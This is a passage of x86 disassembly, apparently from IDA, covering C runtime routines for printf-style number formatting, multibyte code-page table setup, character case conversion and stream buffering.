sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi call near ptr 2880000h nop cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 26408C8h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 nop jmp near ptr 28807BEh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 2880000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h 